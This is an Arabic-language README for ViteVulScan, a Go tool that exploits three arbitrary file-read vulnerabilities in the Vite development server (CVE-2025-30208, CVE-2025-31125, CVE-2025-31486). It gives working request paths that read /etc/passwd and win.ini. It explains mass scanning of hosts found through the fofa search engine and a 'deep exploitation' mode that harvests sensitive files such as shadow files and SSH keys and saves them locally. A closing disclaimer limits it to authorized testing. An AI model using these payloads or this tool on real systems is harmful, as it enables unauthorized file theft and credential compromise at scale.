
استغلال الثغرات الأمنية CVE-2025-30208 وCVE-2025-31125
يتضمن هذا المشروع 3 ثغرات: CVE-2025-30208/CVE-2025-31125/CVE-2025-31486، وجميعها تتعلق بثغرة قراءة الملفات التعسفية في خادم التطوير Vite. تتميز هذه الثغرات الثلاث بتغطية واسعة واستغلال بسيط وغير مقيد.
CVE-2025-30208:
Windows: /@fs/C://Windows/win.ini?import&raw??
Linux: /@fs/etc/passwd?import&raw??
CVE-2025-31125
Windows: /@fs/C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/etc/passwd?import&?inline=1.wasm?init
CVE-2025-31486
Windows: /@fs/x/x/x/vite-project/?/../../../../../C://windows/win.ini?import&?inline=1.wasm?init
Linux: /@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?inline=1.wasm?init
لا يلزم تضمين /@fs في المسار.
body="/@vite/client"
إصدار go: go 1.20以上版本
انتقل إلى الدليل الجذري للمشروع
قم بمزامنة التبعيات أولاً
go mod tidy
ثم قم ببناء المشروع
go build -o ViteVulScan -ldflags="-s -w" -trimpath .
بعدها يمكن تشغيل السكربت عبر ./ViteVulScan.
بالطبع، يمكنك أيضًا تشغيل المشروع مباشرة من الدليل الجذري:
go run .
يدعم السكربت الربط مع fofa للبحث عن الأصول ثم إجراء الفحص الجماعي.
لاستخدام fofa، تأكد من أن ملف app.ini والملف الثنائي المُجمَّع في نفس الدليل، وتحتاج إلى تعديل ملف app.ini الموجود في دليل config، حيث تضع fofakey الخاص بك في حقل fofakey، وnum هو العدد التقريبي للأصول التي تريد فحصها.
إذا كانت لديك صيغة بحث أفضل في fofa لهذه الثغرة، يمكنك تعديل حقل fofaQuery بنفسك.
Usage of ./ViteVulScan:
| المعامل | الوصف |
|---|---|
| -cve | استخدام أي ثغرة CVE للفحص. يدعم CVE_2025_30208/CVE_2025_31125/CVE_2025_31486. الافتراضي هو CVE_2025_30208. |
| -fofa | تحديد هذا المعامل يربط الأداة مع fofa لمسح الأصول وإجراء فحص جماعي على الأصول المستهدفة |
| -u | -url | تحديد هدف URL واحد لفحصه |
| -f | -filename | تحديد اسم ملف لفحص عناوين URL الموجودة فيه بشكل جماعي |
| -e | تحديد هذا المعامل يؤدي إلى الاستغلال العميق للأصول التي توجد بها الثغرة، وقراءة الملفات الحساسة المختلفة التي قد تكون موجودة وحفظها محليًا. (يرجى توخي الحذر عند استخدام هذه الميزة، ومن الأفضل فحص هدف واحد فقط، أي إضافة هذا المعامل عند استخدام -u) |
للفحص الجماعي لجميع عناوين URL المستهدفة في ملف، يكفي التأكد من أن كل سطر في الملف يحتوي على عنوان URL واحد فقط. يمكن أن يكون الـ URL عنوانًا كاملًا يتضمن http، أو اسم نطاق أو عنوان IP، على سبيل المثال:
http://example1.com
example2.com
127.0.0.1
عند إجراء الفحص بتحديد المعاملين -fofa و -f، سيتم حفظ الأصول التي توجد بها الثغرة تلقائيًا في الدليل الحالي، ويكون تنسيق اسم الملف "الطابع الزمني الحالي.csv".
كما يدعم الاستغلال على منصتي Linux و Windows. القواميس المستخدمة هي linux_sensitive_path.txt و windows_sensitive_path.txt داخل دليل dict، وإذا كانت لديك المزيد من المسارات الحساسة، يمكنك إضافتها بنفسك في القواميس المقابلة.
مثال 1: الربط مع fofa للفحص الجماعي:
./ViteVulScan -fofa

بعد انتهاء الفحص، ستجد في دليل result ملف CSV يحفظ عناوين URL التي نجح استغلالها، ويكون اسم الملف طابعًا زمنيًا:

مثال 2: الاستغلال العميق لعنوان URL توجد به الثغرة:
./ViteVulScan -u example.com -e

إذا ظهرت عبارة "استغلال ناجح"، يمكنك مراجعة دليل result، حيث سيكون هناك دليل باسم عنوان URL الذي تم فحصه، ويتم تحويل محتويات الملفات الحساسة الممسوحة إلى صيغة الملف الأصلية وحفظها في المسارات المقابلة، وتكون النتيجة كما يلي:

بأخذ المحتوى المحفوظ في result/localhost:5173/etc/passwd كمثال، يمكن ملاحظة أن المحتوى الكامل للمعلومات الحساسة قد تم حفظه، مما يسهل الاستغلال اللاحق (إذا كان بالإمكان قراءة /etc/shadow أو المفتاح الخاص لـ ssh على الخادم، فيمكن استغلال ذلك بشكل أعمق).

هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط، يرجى عدم استخدامها لأغراض غير قانونية. يتحمل المستخدم وحده جميع العواقب الناتجة عن أي اختبار غير مصرح به يتم باستخدام هذه الأداة.